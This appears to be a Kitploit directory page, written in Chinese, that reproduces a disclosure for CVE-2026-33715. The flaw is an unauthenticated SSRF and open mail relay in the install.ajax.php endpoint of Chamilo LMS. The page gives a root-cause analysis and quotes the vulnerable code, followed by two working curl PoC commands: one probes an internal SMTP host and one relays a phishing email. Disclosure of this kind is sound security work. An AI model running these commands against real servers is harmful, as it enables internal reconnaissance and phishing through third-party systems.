Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33715 — 针对 Chamilo LMS 中通过 install.ajax.php 实现的未认证 SSRF 和开放邮件中继的漏洞验证利用程序,可用于探测内部网络并发送钓鱼邮件。 | Kitploit
工具/GitHubGitHub/romain-deperne/cve-2026-33715
侦察漏洞分析漏洞利用Web应用程序漏洞利用钓鱼攻击
GitHubromain-deperne/cve-2026-33715

CVE-2026-33715

针对 Chamilo LMS 中通过 install.ajax.php 实现的未认证 SSRF 和开放邮件中继的漏洞验证利用程序,可用于探测内部网络并发送钓鱼邮件。

查看仓库
311个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33715 — Chamilo LMS 中通过 install.ajax.php 实现的未认证 SSRF + 开放邮件中继

严重程度:高(CVSS 7.2) CWE:CWE-918(SSRF)+ CWE-306(缺少身份认证) 受影响版本:chamilo/chamilo-lms 2.0-RC.2 修复版本:2.0-RC.3 安全公告:GHSA-mxc9-9335-45mc NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-33715 致谢:Romain Deperne

简要说明

在已完整安装的 Chamilo LMS 2.0 实例上,install.ajax.php 无需身份认证即可访问。其 test_mailer 操作会从 POST 数据中接受任意的 Symfony Mailer DSN 和目标地址,使任何未认证的攻击者都能强制服务器向任意内部主机发起 SMTP 连接(SSRF),并通过 Chamilo 服务器以开放中继的方式发送邮件。

分析

我之所以审计 Chamilo LMS,是因为注意到它已累积了多个 CVE,但其 AJAX 端点却从未被深入审计过。我的方法是:列出 public/main/inc/ajax/ 下的所有文件,并检查每个文件是否以 require_once __DIR__.'/../global.inc.php' 开头——正是这一包含语句在整个代码库中强制实施身份认证。

install.ajax.php 是个例外。它只包含了 Composer 自动加载器。文件名本身就已暗示它是遗留的安装代码——而在其中用 grep 搜索 test_mailer 后证实,它会从 POST 数据中接受原始的 Symfony Mailer DSN 字符串,并将其直接传给 Transport::fromDsn()。

这就构成了一个完整的 SSRF 原语:未认证的攻击者可以控制服务器所连接协议、主机和端口。而它会通过你所配置的任意传输方式实际发送一封邮件,这一事实又使其同时成为一个开放中继。我用一个简单的 curl 确认了在已完整安装的实例上,无需任何会话 Cookie 即可访问该端点。

根本原因在于架构层面:该文件绕过了 Symfony 的安全防火墙,因为 Apache 的 RewriteCond %{REQUEST_FILENAME} !-f 会将已存在的 PHP 文件直接交给 PHP 处理,从不经过前端控制器。

受影响组件

文件:public/main/inc/ajax/install.ajax.php

该文件原本是为安装向导设计的,但在安装完成后仍然可访问。与同一目录下的其他所有 AJAX 端点不同,它不包含 global.inc.php——这意味着零身份认证、零授权检查:

// Line 18 — only loads Composer autoloader, no auth
require_once __DIR__.'/../../../../vendor/autoload.php';

test_mailer 操作(约第 138 行)接受攻击者控制的 POST 参数:

case 'test_mailer':
    $mailerDsn = (string) $request->request->get('mailerDsn');           // arbitrary SMTP DSN
    $mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // arbitrary email
    // ...
    $transport = Transport::fromDsn($mailerDsn);  // connects to attacker's SMTP server
    $mailer = new Mailer($transport);
    $mailer->send($email);                         // sends email through it

与任何受适当保护的端点进行比较:

// chat.ajax.php line 9 — correct pattern
require_once __DIR__.'/../global.inc.php';  // enforces authentication
api_block_anonymous_users();

根本原因

该文件由 Apache 直接提供(RewriteCond %{REQUEST_FILENAME} !-f 会放行已存在的 PHP 文件,从而绕过 Symfony 的安全防火墙)。由于未包含 global.inc.php,因此没有会话、没有身份验证,也没有安装完成检查。

PoC

完整演示请参见 poc.py。

# SSRF — force Chamilo to connect to internal SMTP server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
  -d "mailerDsn=smtp://10.0.0.1:25" \
  -d "[email protected]" \
  -d "mailerFromName=Test" \
  -d "[email protected]"

# Open relay — send phishing email through the Chamilo server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
  -d "mailerDsn=smtp://mail.chamilo.org:587" \
  -d "[email protected]" \
  -d "mailerFromName=Chamilo Security" \
  -d "[email protected]"

影响

  1. SSRF — 未认证攻击者迫使服务器向任意内部主机发起 SMTP 连接,从而实现内部网络侦察并可能利用内部邮件服务器
  2. 开放邮件中继 — Chamilo 服务器向任意目的地发送由攻击者控制内容的邮件,看似源自服务器的合法 IP,损害邮件信誉
  3. 信息泄露 — SMTP 错误响应泄露内部网络拓扑和服务可用性

时间线

  • 发现: 2026-03-22
  • 报告: GHSA-mxc9-9335-45mc(私有安全公告)
  • CVE 发布: CVE-2026-33715
下载工具